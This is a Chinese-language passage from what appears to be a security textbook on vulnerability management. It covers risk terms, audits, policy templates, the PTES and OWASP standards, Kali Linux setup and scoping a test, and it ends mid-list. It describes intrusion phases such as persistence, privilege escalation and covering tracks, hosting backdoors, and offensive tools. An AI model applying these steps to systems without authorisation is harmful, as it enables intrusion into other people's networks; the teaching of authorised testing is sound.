例如,一个人可以向他的同事发送一封威胁性的电子邮件,然后简单地否认他发送了这封电子邮件的事实。这是一种否认的情况。然而,如果电子邮件被数字签名,这个人就不会有机会否认他的行为。
漏洞
非常简单地说,漏洞只是系统中的一个弱点或保障/对策中的一个弱点。如果漏洞被成功利用,可能会导致目标资产的损失或损害。一些常见的漏洞示例如下:
-
系统上设置弱密码
-
在系统上运行的未打补丁的应用程序
-
缺乏输入验证导致 XSS
-
缺乏数据库验证导致 SQL 注入
-
未更新的防病毒签名
漏洞可能存在于硬件和软件层。感染恶意软件的 BIOS 是硬件漏洞的一个例子,而 SQL 注入是最常见的软件漏洞之一。
威胁
任何可能导致不良结果的活动或事件都可以被视为威胁。威胁是任何可能故意或无意地造成损害、中断或完全丧失资产的行为。
威胁的严重程度可以根据其影响来确定。威胁可以是有意的,也可以是意外的(由于人为错误)。它可以由人、组织、硬件、软件或自然引起。一些常见的威胁事件如下:
-
病毒爆发的可能性
-
电力浪涌或故障
-
火灾
-
地震
-
洪水
-
关键财务交易中的打字错误
暴露
威胁代理可能会利用漏洞并造成资产损失。容易受到这种资产损失的影响被称为暴露。
暴露并不总是意味着威胁确实发生。这只是意味着如果给定系统存在漏洞,威胁可能会利用它,那么可能会发生潜在的暴露。
风险
风险是威胁利用漏洞对资产造成伤害的可能性或可能性。
风险可以用以下公式计算:
风险=可能性影响*
通过这个公式,很明显风险可以通过减少威胁代理或减少漏洞来降低。
当风险实现时,威胁代理或威胁事件利用了漏洞并对一个或多个资产造成了伤害或泄露。安全的整个目的是通过消除漏洞和阻止威胁代理和威胁事件暴露资产来防止风险的实现。不可能使任何系统完全没有风险。然而,通过制定对策,可以将风险降低到组织风险承受能力的可接受水平。
保障
保障或对策是减轻或减少漏洞的任何事物。保障是减轻或消除风险的唯一手段。重要的是要记住,保障、安全控制或对策可能并不总是涉及采购新产品;有效利用现有资源也可以帮助产生保障。
以下是一些保障的例子:
-
在所有系统上安装防病毒软件
-
安装网络防火墙
-
安装闭路电视并监控场所
-
部署安全警卫
-
安装温度控制系统和火灾警报
攻击向量
攻击向量只是攻击者可以访问目标系统的路径或手段。为了破坏系统,可能存在多个攻击向量。以下是一些攻击向量的例子:
-
攻击者通过利用应用程序中的 SQL 注入漏洞,获取了数据库中的敏感数据
-
攻击者通过获得对数据库系统的物理访问来获取对敏感数据的访问
-
攻击者利用 SMB 漏洞在目标系统上部署了恶意软件
-
攻击者通过对系统凭证进行暴力攻击获得了管理员级别的访问权限
总结我们所学的术语,我们可以说资产受到威胁,这些威胁利用漏洞导致暴露,这是一种可以通过保障来减轻的风险。
了解安全评估的需求
许多组织在设计和实施各种安全控制方面投入了大量时间和成本。一些甚至遵循“深度防御”的原则部署了多层次的控制。实施强大的安全控制当然是必要的;然而,测试部署的控制是否确实按预期工作同样重要。
例如,一个组织可能选择部署最新和最好的防火墙来保护其边界。防火墙管理员某种方式错误配置了规则。所以,无论防火墙有多好,如果它没有正确配置,仍然会允许不良流量进入。在这种情况下,对防火墙规则进行彻底测试和/或审查将有助于识别和消除不需要的规则,并保留所需的规则。
每当开发新系统时,都会严格和彻底地进行质量保证(QA)测试。这是为了确保新开发的系统按照业务需求和规格正确运行。与此同时,测试安全控制也是至关重要的,以确保它们按规定运行。安全测试可以是不同类型的,如下一节所讨论的。
安全测试的类型
根据上下文和服务目的,安全测试可以按多种方式进行分类。以下图表显示了安全测试类型的高级分类:
安全测试
安全测试的主要目标是确保控制正常运行。测试可以是自动扫描、使用工具进行渗透测试和手动尝试揭示安全漏洞的组合。需要注意的是,安全测试不是一次性活动,应定期进行。在规划安全控制测试时,应考虑以下因素:
-
可用于安全测试的资源(硬件、软件和熟练的人力)
-
受控系统和应用程序的重要性评级
-
实施控制的机制出现技术故障的概率
-
控制配置错误可能危及安全的概率
-
可能影响控制性能的技术环境中的任何其他变化、升级或修改
-
测试控制所需的难度和时间
-
测试对正常业务运营的影响
只有确定了这些因素,才能设计和验证全面的评估和测试策略。该策略可能包括定期的自动化测试和手动测试。例如,电子商务平台可能每周进行自动漏洞扫描,并在扫描检测到新漏洞时立即向管理员发送警报通知。自动扫描一旦配置和触发,就需要管理员的干预,因此可以经常进行扫描。
安全团队可能选择通过内部或外部顾问进行固定费用的手动渗透测试来补充自动扫描。安全测试可以每季度、每半年或每年进行,以优化成本和工作量。
不幸的是,许多安全测试计划都是简单地将新的高级工具指向网络中可用的系统,从而以杂乱无章和临时的方式开始的。测试计划应该经过深思熟虑的设计,并使用基于风险的方法对系统进行严格的例行测试。
当然,安全测试的结果没有经过仔细审查就不能被称为完整。工具可能会产生很多误报,只有通过手动审查才能消除。对安全测试报告的手动审查还有助于确定漏洞的严重程度,与目标环境的相关性。
例如,自动扫描工具可能会检测到公开托管的电子商务应用程序和简单的内部帮助和支持门户网站中的跨站脚本。在这种情况下,尽管漏洞在两个应用程序中是相同的,但前者的风险更大,因为它面向互联网,用户比后者更多。
漏洞评估与渗透测试
漏洞评估和渗透测试经常可以互换使用。然而,它们在服务目的上是不同的。为了理解这两个术语之间的区别,让我们考虑一个现实世界的例子。
有一家银行位于城市郊区的一处相当隐蔽的地方。有一伙强盗打算抢劫这家银行。强盗开始计划如何执行他们的计划。其中一些人装扮成普通顾客访问银行,并注意到了一些事情:
-
银行只有一名手无寸铁的保安
-
银行有两个入口和三个出口
-
没有安装闭路电视摄像头
-
储物柜隔间的门看起来很薄弱
有了这些发现,强盗只是进行了漏洞评估。现在,只有当他们真正抢劫银行时,才能确定这些漏洞是否能够在现实中被利用来成功执行抢劫计划。如果他们抢劫银行并成功利用了这些漏洞,他们就会进行渗透测试。
因此,简而言之,检查系统是否容易受攻击是漏洞评估,而实际利用易受攻击的系统是渗透测试。组织可以根据需要选择执行其中一个或两者。然而,值得注意的是,如果没有首先进行全面的漏洞评估,渗透测试就不可能成功。
安全评估
安全评估只是对系统、应用程序或其他测试环境的安全性进行详细审查。在安全评估期间,受过训练的专业人员进行风险评估,发现目标环境中可能存在的潜在漏洞,可能导致妥协,并根据需要提出建议。
安全评估通常包括使用测试工具,但超出了自动扫描和手动渗透测试。它们还包括对周围威胁环境的全面审查,现在和未来可能的风险,以及目标环境的资产价值。
安全评估的主要输出通常是一份详细的评估报告,面向组织的高层管理人员,以非技术性语言包含评估结果。它通常以精确的建议和改进目标环境安全状况的建议结束。
安全审计
安全审计通常采用与安全评估相似的许多技术,但需要由独立的审计员执行。组织的内部安全人员进行例行安全测试和评估。然而,安全审计与这种方法不同。安全评估和测试是组织内部的,旨在发现潜在的安全漏洞。
审计类似于评估,但是旨在向相关第三方证明安全控制的有效性。审计确保在测试控制有效性时没有利益冲突。因此,审计倾向于提供对安全状况的完全公正的观点。
安全评估报告和审计报告可能看起来相似;然而,它们是为不同的受众而设计的。审计报告的受众主要包括高级管理人员、董事会、政府机构和其他相关利益相关者。
审计分为两种主要类型:
-
内部审计:组织的内部审计团队执行内部审计。内部审计报告面向组织的内部受众。确保内部审计团队具有完全独立的报告线,以避免与他们评估的业务流程产生利益冲突。
-
外部审计:由信任的外部审计公司进行外部审计。外部审计具有更高的外部有效性,因为外部审计师几乎与被评估的组织没有任何利益冲突。有许多公司进行外部审计,但大多数人认为所谓的四大审计公司具有最高的可信度:
-
安永
-
德勤
-
普华永道
-
毕马威
这些公司进行的审计通常被大多数投资者和监管机构认可。
漏洞管理的业务驱动因素
为了证明实施任何控制的投资是绝对必要的,业务驱动因素是绝对必要的。业务驱动因素定义了为什么需要实施特定的控制。用于证明漏洞管理计划的典型业务驱动因素在以下部分中进行了描述。
监管合规性
十多年来,几乎所有企业都变得高度依赖技术的使用。从金融机构到医疗机构,对数字系统的使用有了很大的依赖。这反过来促使行业监管机构提出了组织需要遵守的强制性要求。不遵守监管机构规定的任何要求都会受到严重罚款和禁令。
以下是一些要求组织进行漏洞评估的监管标准:
-
萨班斯-奥克斯法案(SOX)
-
对承诺审计准则的声明 16(SSAE 16/SOC 1)
-
服务组织控制(SOC)2/3
-
支付卡行业数据安全标准(PCI DSS)
-
健康保险可移植性和责任法案(HIPAA)
-
格拉姆-利奇-布莱利合规性(GLBA)
-
联邦信息系统控制审计手册(FISCAM)
满足客户需求
今天的客户在选择从技术服务提供商那里获得什么样的服务时变得更加挑剔。某个客户可能在世界的某个地方运营,而某些法规要求进行漏洞评估。技术服务提供商可能位于另一个地理区域,但必须执行漏洞评估以确保所服务的客户符合规定。因此,客户可以明确要求技术服务提供商进行漏洞评估。
对某些欺诈/事件的回应
全球各地的组织不断受到来自不同地点的各种类型的攻击。其中一些攻击成功并对组织造成潜在损害。基于内部和/或外部欺诈/攻击的历史经验,组织可能选择实施完整的漏洞管理计划。
例如,像火一样蔓延的 WannaCry 勒索软件利用了 Windows 系统的 SMB 协议中的一个漏洞。这种攻击必定会触发许多受影响组织实施漏洞管理计划。
获得竞争优势
让我们考虑这样一个情景,有两个技术供应商在销售类似的电子商务平台。一个供应商拥有非常强大和有文档记录的漏洞管理计划,使他们的产品天然具有抵御常见攻击的能力。第二个供应商的产品非常好,但没有漏洞管理计划。一个明智的客户肯定会选择第一个供应商的产品,因为该产品是根据强大的漏洞管理流程开发的。
保护关键基础设施
这是所有先前业务驱动因素中最重要的一个。一个组织可能会主动选择实施漏洞管理计划,无论是否必须遵守任何法规或满足任何客户需求。在安全方面,主动方法比被动方法更有效。
例如,一个组织可能拥有客户的付款细节和个人信息,并且不希望将这些数据置于未经授权的披露风险之中。一个正式的漏洞管理计划将帮助组织识别所有可能的风险,并制定控制措施以减轻风险。
计算投资回报率
设计和实施安全控制通常被视为成本开销。向管理层证明实施某些安全控制的成本和努力往往是具有挑战性的。这时可以考虑估算漏洞管理计划的投资回报。这可能是相当主观的,并且基于定性和定量分析。
虽然投资回报率的计算可能会因环境的复杂性而变得复杂,但让我们从一个简单的公式和例子开始:
投资回报率(ROI)=(投资收益 - 投资成本) 100/投资成本*
为了简化理解,让我们假设组织内有 10 个系统需要纳入漏洞管理计划的监管范围。所有这 10 个系统都包含敏感的业务数据,如果它们受到攻击,组织可能会遭受 75,000 美元的损失以及声誉损失。现在,组织可以通过利用价值 25,000 美元的资源来设计、实施和监控漏洞管理计划。因此,投资回报率将如下:
投资回报率(ROI)=(75,000 - 25,000) 100/25,000 = 200%*
在这种情况下,实施漏洞管理计划的投资回报率为 200%,这确实是对高级管理层批准的一个很好的理由。
前面的例子是一个简化的例子,旨在理解投资回报率的概念。然而,在实际情况下,组织在计算漏洞管理计划的投资回报率时可能需要考虑更多因素,包括:
-
该计划的范围是什么?
-
需要多少资源(人员数量)来设计、实施和监控该计划?
-
作为该计划的一部分是否需要采购任何商业工具?
-
在计划的任何阶段是否需要任何外部资源(合同资源)?
-
将整个计划完全外包给可信赖的第三方供应商是否可行且具有成本效益?
设定背景
变化从来都不容易和顺利。组织内的任何变化通常需要广泛的规划、范围界定、预算和一系列批准。在没有先前安全经验的组织中实施完整的漏洞管理计划可能非常具有挑战性。许多业务部门都会明显抵制,并对该计划的可持续性提出质疑。除非漏洞管理计划深入融入组织文化,否则它永远不会成功。与任何其他重大变化一样,可以通过以下部分描述的两种不同方法来实现这一点。
自下而上
自下而上的方法是基层员工发起行动来实施新的倡议。在漏洞管理计划的背景下,自下而上的方法中的行动流程看起来类似于以下内容:
-
系统管理员团队的初级成员在其中一个系统中识别出一些漏洞
-
他向主管报告,并使用免费工具扫描其他系统以查找类似的漏洞
-
他整合了所有发现的漏洞并向主管报告
-
然后主管向高层管理层报告漏洞
-
高层管理忙于其他活动,因此未能优先考虑漏洞修复
-
系统管理员团队的主管试图在有限的资源帮助下修复一些漏洞
-
一组系统仍然存在漏洞,因为没有人对修复它们感兴趣
在前述情景中,我们可以注意到所有的活动都是不经过计划和临时的。初级团队成员在没有得到高层管理的多少支持的情况下自发进行了漏洞评估。这种方法在长期内永远不会成功。
自上而下
与自下而上的方法不同,自上而下的方法效果更好,因为它是由高层管理发起、指导和管理的。使用自上而下的方法实施漏洞管理计划,行动流程将如下所示:
-
高层管理决定实施漏洞管理计划
-
管理层计算投资回报率并检查可行性
-
然后管理层准备了漏洞管理计划的政策程序指南和标准
-
管理层为计划的实施和监控分配预算和资源
-
中层管理和基层员工随后遵循政策和程序来实施该计划
-
该计划受到监控,并且指标与高层管理共享
如前述情景中所述的自上而下方法实施漏洞管理计划具有更高的成功概率,因为它是由高层管理发起和推动的。
政策与程序与标准与指南
从治理的角度来看,了解政策、程序、标准和指南之间的区别是很重要的。请注意以下图表:
-
政策:政策始终是其他文件中的最高级别。政策是一种反映高层管理意图和方向的高层声明。一旦发布,组织内的每个人都必须遵守政策。政策的例子包括互联网使用政策、电子邮件政策等。
-
标准:标准只是一种可接受的质量水平。标准可以用作实施政策的参考文件。标准的一个例子是 ISO27001。
-
程序:程序是一系列详细的步骤,用于完成特定任务。通常以标准操作程序(SOP)的形式实施或参考。程序的一个例子是用户访问控制程序。
-
指南:指南包含额外的建议或建议,不是强制性遵循的。它们是最佳实践,根据情况可能或可能不遵循。指南的一个例子是 Windows 安全加固指南。
漏洞评估政策模板
以下是一个漏洞评估政策模板的示例,概述了政策层面的漏洞评估的各个方面:
<公司名称>漏洞评估政策
名称 | 标题 | |
---|---|---|
创建者 | ||
审查者 | ||
批准者 |
概述
本节是对漏洞管理的高层次概述。
漏洞评估是识别和量化给定环境中的安全漏洞的过程。它是信息安全状况的评估,指出潜在的弱点,并在必要时提供适当的缓解程序,以消除这些弱点或将其降低到可接受的风险水平。
通常,漏洞评估遵循以下步骤:
-
在系统中创建资产和资源清单
-
为资源分配可量化的价值和重要性
-
识别每个已识别资源的安全漏洞或潜在威胁
-
优先处理并消除最重要资源的最严重漏洞
目的
本节是说明撰写政策的目的和意图。
本政策的目的是提供一种标准化的方法来进行安全审查。该政策还确定了在漏洞识别闭环过程中的角色和责任。
范围
本节定义了政策适用的范围;它可以包括内部网、外部网,或者组织基础设施的一部分。
漏洞评估可以针对<公司名称>内的任何资产、产品或服务进行。
政策
团队在指定的权威下负责漏洞评估流程的开发、实施和执行。
公司名称网络内的所有网络资产将全面接受定期或持续的漏洞评估扫描。
将使用集中式漏洞评估系统。使用任何其他工具来扫描或验证漏洞必须经指定书面批准。
公司名称内的所有人员和业务单位都应配合对其拥有的系统进行的任何漏洞评估。
公司名称内的所有人员和业务单位也应配合团队开发和实施补救计划。
指定可能指示与第三方安全公司合作,对公司的关键资产进行漏洞评估。
漏洞评估流程
本节提供了一个指向详细说明漏洞评估流程的外部程序文档的指针。
有关更多信息,请参阅漏洞评估流程。
例外
很可能,出于一些合理的理由,一些系统需要排除在本政策范围之外。本节说明了获取此政策例外的流程。
对于本政策的任何例外,例如免除漏洞评估流程,必须通过安全例外流程获得批准。有关更多详细信息,请参阅安全例外政策。
执行
本节旨在强调违反此政策的影响。
任何公司名称的员工如果违反了该政策,可能会受到纪律处分,包括解雇和潜在的法律诉讼。
相关文件
本节用于提供组织内任何其他相关政策、程序或指南的参考。
以下文件被该政策引用:
-
漏洞评估程序
-
安全例外政策
修订历史
日期 | 修订号 | 修订详细信息 | 修订者 |
---|---|---|---|
MM/DD/YYYY | Rev #1 | 变更描述 | <姓名/职称> |
MM/DD/YYYY | Rev #2 | 变更描述 | <姓名/职称> |
本节包含有关谁创建了该政策、时间戳和修订的详细信息。
词汇表
本节包含了政策中使用的所有关键术语的定义。
渗透测试标准
渗透测试不仅仅是一个单一的活动,而是一个完整的过程。有几个标准可以指导渗透测试过程中应遵循的步骤。本节旨在介绍渗透测试生命周期以及一些业界公认的渗透测试标准。
渗透测试生命周期
渗透测试不仅仅是使用随机工具来扫描目标漏洞,而是一个涉及多个阶段的注重细节的过程。以下图表显示了渗透测试生命周期的各个阶段:
- 信息收集阶段:信息收集阶段是渗透测试生命周期中的第一个和最重要的阶段。在我们可以探索目标系统的漏洞之前,收集有关目标系统的信息至关重要。收集的信息越多,成功渗透的可能性就越大。如果不正确地了解目标系统,就不可能精确地针对漏洞。信息收集可以分为两种类型:
-
被动信息收集:在被动信息收集中,不与目标直接接触。例如,可以从公开可用的来源(如搜索引擎)获取有关目标的信息。因此,不会与目标直接接触。
-
主动信息收集:在主动信息收集中,会与目标直接接触以探测信息。例如,对网络中的活动主机进行 ping 扫描实际上会向每个目标主机发送数据包。
- 枚举:一旦获得有关目标的基本信息,下一个阶段就是为了获取更多详细信息而进行枚举。例如,在信息收集阶段,我们可能会有网络中活动 IP 的列表。现在我们需要枚举所有这些活动 IP,并可能获得以下信息:
-
目标 IP 上运行的操作系统
-
每个目标 IP 上运行的服务
-
发现的服务的确切版本
-
用户帐户
-
文件共享等
-
获取访问权限:一旦信息收集和枚举工作彻底完成,我们将对目标系统/网络有一个详细的蓝图。基于这个蓝图,我们现在可以计划发动各种攻击来破坏并获取对目标系统的访问权限。
-
特权升级:我们可能会利用目标系统中的特定漏洞并获得对其的访问权限。然而,很可能访问权限受到限制。我们可能希望获得完整的管理员/根级别访问权限。可以采用各种特权升级技术来将访问权限从普通用户提升到管理员/根用户。
-
维持访问:到目前为止,我们可能已经获得了对目标系统的高特权访问。然而,该访问可能只持续一段时间,只在特定期间。如果我们想要获得对目标系统相同的访问权限,我们不希望再次重复所有的努力。因此,使用各种技术,我们可以使我们对受损系统的访问持久化。
-
覆盖踪迹:在完成和记录所有渗透之后,我们可能希望清除痕迹和痕迹,包括在妥协中使用的工具和后门。根据渗透测试协议,可能需要或不需要进行此阶段。
行业标准
在实施安全控制时,我们可以利用几个定义明确且经过验证的行业标准。这些标准和框架提供了一个基线,可以根据组织的特定需求进行定制。以下部分讨论了一些行业标准。
开放式 Web 应用程序安全项目测试指南
OWASP 是“开放式 Web 应用程序安全项目”的缩写。这是一个社区项目,经常从意识的角度发布前 10 个应用程序风险。该项目建立了一个坚实的基础,以在 SDLC 的所有阶段整合安全性。
OWASP 前 10 项目通过评估顶级攻击向量和安全弱点以及它们与技术和业务影响的关系,从根本上评估应用程序安全风险。OWASP 还提供了有关如何识别、验证和纠正应用程序中每个漏洞的具体说明。
尽管 OWASP 前 10 项目只关注常见的应用程序漏洞,但它确实为开发人员和审计人员提供了额外的指南,以有效管理 Web 应用程序的安全性。这些指南可以在以下位置找到:
-
最新测试指南:
www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
-
安全代码审查指南:www.owasp.org/index.php/Category:OWASP_Code_Review_Project
OWASP 前 10 名列表定期进行修订。最新的前 10 名列表可以在以下网址找到:www.owasp.org/index.php/Top_10_2017-Top_10
。
框架的好处
以下是 OWASP 的主要特点和好处:
-
当应用程序针对 OWASP 前 10 名进行测试时,可以确保满足最低的安全要求,并且应用程序对大多数常见的 Web 攻击具有抵抗力。
-
OWASP 社区开发了许多安全工具和实用程序,用于执行自动化和手动应用程序测试。一些最有用的工具包括 WebScarab、Wapiti、CSRF Tester、JBroFuzz 和 SQLiX。
-
OWASP 制定了一个测试指南,提供了技术或供应商特定的测试指南;例如,对 Oracle 的测试方法与对 MySQL 的方法不同。这有助于测试人员/审计人员选择最适合的测试目标系统的程序。
-
它有助于在开发的所有阶段设计和实施安全控制,确保最终产品本质上是安全和强大的。
-
OWASP 在整个行业范围内具有可见性和接受度。OWASP 前 10 名也可以与其他 Web 应用程序安全行业标准进行映射。
渗透测试执行标准
渗透测试执行标准(PTES)是由渗透测试行业中最聪明的头脑和权威专家创建的。它包括渗透测试的七个阶段,并可用于对任何环境进行有效的渗透测试。有关方法的详细信息可以在以下网址找到:www.pentest-standard.org/index.php/Main_Page.
此标准详细说明的渗透测试的七个阶段如下(来源:www.pentest-standard.org):
-
前期交互
-
情报收集
-
威胁建模
-
漏洞分析
-
利用
-
后期利用
-
报告
这些阶段的每一个都在 PTES 网站上提供了详细说明,以及详细说明每个阶段所需的具体思维导图。这允许将 PTES 标准定制以匹配正在测试的环境的测试要求。只需点击思维导图中的项目,即可访问有关每个步骤的更多详细信息。
框架的好处
以下是 PTES 的主要特点和好处:
-
这是一个非常全面的渗透测试框架,涵盖了渗透测试的技术和操作方面,如范围扩大、报告和保护渗透测试人员的利益和权利
-
它详细说明了执行许多必要任务的方法,以准确测试环境的安全状况
-
它是由经验丰富的渗透测试专家为渗透测试人员准备的,这些专家每天都在执行这些任务
-
它包括最常见的技术以及不太常见的技术
-
它易于理解,并且可以轻松适应安全测试需求
摘要
在本章中,我们熟悉了一些绝对的安全基础知识,以及构建漏洞管理程序的一些基本治理概念。在下一章中,我们将学习如何设置一个进行漏洞评估的环境。
练习
-
探索如何计算安全控制的投资回报率
-
熟悉 PTES 标准
第十章:设置评估环境
在上一章中,我们了解了从治理角度理解漏洞管理程序的基本知识。本章将介绍建立全面的漏洞评估和渗透测试环境的各种方法和技术。我们将学习如何建立自己的环境,以便在本书后面讨论的各种漏洞评估技术中有效使用。
本章将涵盖以下主题:
-
设置 Kali 虚拟机
-
Kali Linux 的基础知识
-
环境配置和设置
-
评估过程中要使用的工具列表
设置 Kali 虚拟机
进行漏洞评估或渗透测试涉及一系列任务,需要借助多个工具和实用程序来执行。对于流程中涉及的每个任务,都有可用的工具,包括商业工具、免费软件和开源软件。这完全取决于我们根据上下文选择的最适合的工具。
为了进行端到端的评估,我们可以根据需要下载单独的工具,也可以使用 Kali Linux 这样的发行版,它预装了所有必需的工具。Kali Linux 是一个稳定、灵活、强大且经过验证的渗透测试平台。它具有执行各个渗透测试阶段各种任务所需的基本工具。它还允许您轻松添加默认安装中没有的工具和实用程序。
因此,Kali Linux 真的是一个很好的选择,用于漏洞评估和渗透测试的平台。
Kali Linux 可以在www.kali.org/downloads/
下载。
下载后,您可以直接在系统上安装,也可以在虚拟机中安装。在虚拟机中安装的优势是可以保持现有操作系统设置不受干扰。此外,使用快照可以轻松进行配置备份,并在需要时进行恢复。
虽然 Kali Linux 可以以 ISO 文件的形式下载,但也可以作为完整的虚拟机下载。您可以根据您使用的虚拟化软件(VMware/VirtualBox/Hyper-V)下载正确的设置。Kali 虚拟机设置文件可在www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/
下载。
以下屏幕截图显示了 Kali Linux 在 VMware 中的情况。您可以通过选择“编辑虚拟机设置”选项来配置机器设置,分配内存并选择网络适配器类型。完成后,您可以简单地启动机器:
Kali Linux 的基础知识
访问 Kali Linux 的默认凭据是username:root
和password:toor
。但是,在第一次登录后,重要的是更改默认凭据并设置新密码。可以使用passwd
命令来设置新密码,如下图所示:
Kali Linux 广泛用于网络和应用程序渗透测试。因此,重要的是 Kali Linux 连接到网络,因为独立的 Kali 安装没有太多用处。确保网络连接的第一步是检查 Kali 是否有有效的 IP 地址。我们可以使用ifconfig
命令,如下图所示,并确认 IP 地址分配:
现在我们已经更改了默认凭据,并确认了网络连接,现在是时候检查我们的 Kali 安装的确切版本了。这包括确切的构建详细信息,包括内核和平台详细信息。uname -a
命令会给我们所需的详细信息,如下截图所示:
Kali Linux 是一个完整的渗透测试发行版,其中的工具可以协助渗透测试生命周期的各个阶段。单击应用程序菜单后,我们可以看到分布在各个类别中的所有可用工具,如下截图所示:
Kali Linux 配备了大量有用的工具和实用程序。有时,我们需要对这些工具和实用程序的配置文件进行更改。所有工具和实用程序都位于 /usr/bin
文件夹中,如下截图所示:
Kali Linux 使用多个在线仓库来提供软件安装和更新。然而,这些仓库源必须定期更新。可以使用 apt-get update
命令来实现,如下截图所示:
Kali Linux 也会定期获得重大的构建更新。为了升级到最新可用的构建,可以使用 apt-get upgrade
命令,如下截图所示:
Kali Linux 生成并存储各种类型的日志,如应用程序、系统、安全和硬件。这些日志对于调试和跟踪事件非常有用。可以通过打开位于应用程序 | 常用应用程序 | 实用程序 | 日志的日志应用程序来查看日志,结果如下截图所示:
环境配置和设置
虽然我们的基本 Kali 设置已经运行起来了,但我们还需要安装和配置一些我们在评估过程中可能需要的其他服务。在接下来的部分中,我们将讨论 Kali Linux 中一些有用的服务。
Web 服务器
在渗透阶段,Web 服务器将对我们有所帮助,我们可能需要托管后门可执行文件。Apache Web 服务器默认安装在 Kali Linux 中。我们可以使用 service apache2 start
命令启动 Apache Web 服务器,如下截图所示。
我们可以使用 netstat -an | grep ::80
命令来验证服务是否成功启动:
现在 Apache 服务器已经运行起来了,我们也可以通过浏览器进行验证。通过访问本地主机 (127.0.0.1
),我们可以看到默认的 Apache 网页,如下截图所示:
如果我们想要更改默认页面,或者希望托管任何文件,可以通过将所需文件放置在 /var/www/html
目录中来实现,如下截图所示:
安全外壳 (SSH)
SSH 确实是远程安全通信需要时的默认协议选择。
在 Kali Linux 中,我们可以通过首先安装 SSH 包来开始使用 SSH。可以使用 apt-get install ssh
命令,如下截图所示:
为了确保 SSH 在重新启动后自动启动,我们可以使用 systemctl
命令,如下截图所示,可以使用 service ssh start
命令启动 SSH 服务:
文件传输协议 (FTP)
使用 Web 服务器可以快速托管和提供小文件,但 FTP 服务器提供了更好和可靠的解决方案来托管和提供大文件。我们可以在 Kali Linux 上使用apt-get install vsftpd
命令来安装 FTP 服务器,如下面的屏幕截图所示:
安装后,我们可以通过修改/etc/vsftpd.conf
文件来根据需要编辑配置。完成必要的配置后,我们可以使用service vsftpd start
命令来启动 FTP 服务器,如下面的屏幕截图所示:
软件管理
命令行实用程序apt-get
可用于安装大多数所需的应用程序和实用程序。但是,Kali Linux 还有一个用于管理软件的图形界面工具。可以使用以下路径访问该工具:应用程序 | 常用应用程序 | 系统工具 | 软件。
软件管理器可用于删除现有软件或添加新软件,如下面的屏幕截图所示:
要在评估期间使用的工具列表
在渗透测试生命周期中有大量可用工具来执行各种任务。然而,以下是在渗透测试期间最常用的工具列表:
序号 | 渗透测试阶段 | 工具 |
---|---|---|
1 | 信息收集 | SPARTA, NMAP, Dmitry, Shodan, Maltego, theHarvester, Recon-ng |
2 | 枚举 | NMAP, Unicornscan |
3 | 漏洞评估 | OpenVAS, NExpose, Nessus |
4 | 获取访问权限 | Metasploit, Backdoor-factory, John The Ripper, Hydra |
5 | 特权升级 | Metasploit |
6 | 覆盖痕迹 | Metasploit |
7 | Web 应用程序安全测试 | Nikto, w3af, Burp Suite, ZAP Proxy, SQLmap |
8 | 报告 | KeepNote, Dradis |
摘要
在本章中,我们了解到在虚拟环境中使用 Kali Linux 可以有效地进行漏洞评估和渗透测试。我们还学习了一些关于 Kali Linux 的绝对基础知识,并配置了其环境。
第十一章:安全评估先决条件
在我们可以开始实际进行安全评估之前,实际上需要做很多基础工作,包括规划、范围确定、选择正确的测试、资源分配、测试计划以及获得文件签署和批准。所有这些先决条件将有助于确保安全评估的顺利进行。本章将讨论以下主题:
-
目标范围和规划
-
收集需求
-
决定漏洞评估的类型
-
资源和可交付成果的估算
-
准备测试计划和测试边界
-
获得批准并签署保密协议
目标范围和规划
定义和决定正式范围是漏洞评估中最重要的因素之一。虽然可能有很多关于使用各种漏洞评估工具和技术的信息和指南,但漏洞评估的准备阶段往往被忽视。忽视充分完成前期活动可能会导致潜在问题,例如以下问题:
-
范围蔓延
-
客户不满意
-
法律问题
项目的范围旨在准确定义需要进行测试的内容。
从理论上讲,测试网络中的每个资产似乎是最好的选择;然而,这可能并不实际可行。与所有业务部门进行详细讨论可以帮助您收集关键资产清单。然后,这些资产可以包括在漏洞评估范围内。漏洞评估范围中包括的一些常见资产如下:
-
通信线路
-
电子商务平台
-
任何面向互联网的网站
-
特殊用途设备(调制解调器、无线电等)
-
应用程序和应用程序 API
-
电子邮件网关
-
远程访问平台
-
邮件服务器
-
DNS
-
防火墙
-
FTP 服务器
-
数据库服务器
-
Web 服务器
在关于应该包括在漏洞评估范围内的候选资产的上述清单中,可能有一些其他经常被忽视但可能为攻击者打开入口的资产。这些资产包括以下内容:
-
打印机
-
无线接入点
-
共享驱动器
-
IP 摄像头
-
智能电视
-
生物识别门禁系统
范围的详细概述将帮助漏洞评估团队规划资源和时间表。
收集需求
在我们甚至考虑开始漏洞评估之前,非常重要的是非常清楚地了解客户的需求。客户可能是组织内部或外部的。对于 VA 测试人员来说,了解客户对测试的期望是很重要的。为了识别和记录客户需求,需要完成以下工作。
准备详细的测试要求清单
测试人员需要与客户安排多次会议,以了解他们的需求。结果应包括但不限于以下内容:
-
客户希望遵守的安全合规性清单
-
在各自的安全合规性中规定的要求和行为准则(如果有)
-
受范围限制的网络段清单
-
受范围限制的网络段中的网络安全设备清单
-
要扫描的资产清单(以及 IP 范围)
-
暴露在公共网络中的资产清单(以及 IP 范围)
-
具有网络范围访问权限的资产清单(以及 IP 范围)
-
业务关键资产清单(以及 IP 范围)
-
客户环境中可接受的漏洞评估工具清单
-
客户或合作伙伴建议的工具的许可证可用性
-
在客户环境中严格禁止使用的工具清单
-
最近的漏洞评估报告(如果有)
合适的时间框架和测试时间
一些安全合规要求要求定期对范围内的基础设施进行漏洞评估。例如,PCI/DSS 要求对业务关键资产进行半年漏洞评估,对 PCI/DSS 认证范围内的非关键资产进行年度漏洞评估。
测试人员和客户在准备评估计划时需要牢记这些合规性要求。同时,考虑到评估范围内环境中正在进行的关键变化总是有益的。如果安全合规要求规定的时间允许的话,最好在完成关键变化后进行评估,这将有助于提供当前安全状况的持久视图。
漏洞评估中调度和计划的另一个有趣部分是测试时间。通常,使用自动化扫描配置文件来执行漏洞评估,并消耗大量网络流量(每个端口/主机/资产的请求/响应)并且可能也会消耗被扫描的资产/主机的大量资源。在罕见的情况下,可能会发生某个资产/主机停止响应,进入拒绝服务(DoS)模式和/或完全关闭模式。这种情况也可能发生在业务关键系统上。现在想象一下,在高峰业务时间内,业务关键系统/服务不响应任何请求。这也可能影响其他服务,涵盖更广泛的用户空间。这可能导致数据、声誉和收入的损失。此外,在这种混乱的情况下恢复和恢复业务功能也会带来挑战。因此,建议在工作时间之外进行漏洞评估。这样做的好处包括:
-
由于没有通常的业务/合法流量,网络上没有额外的开销
-
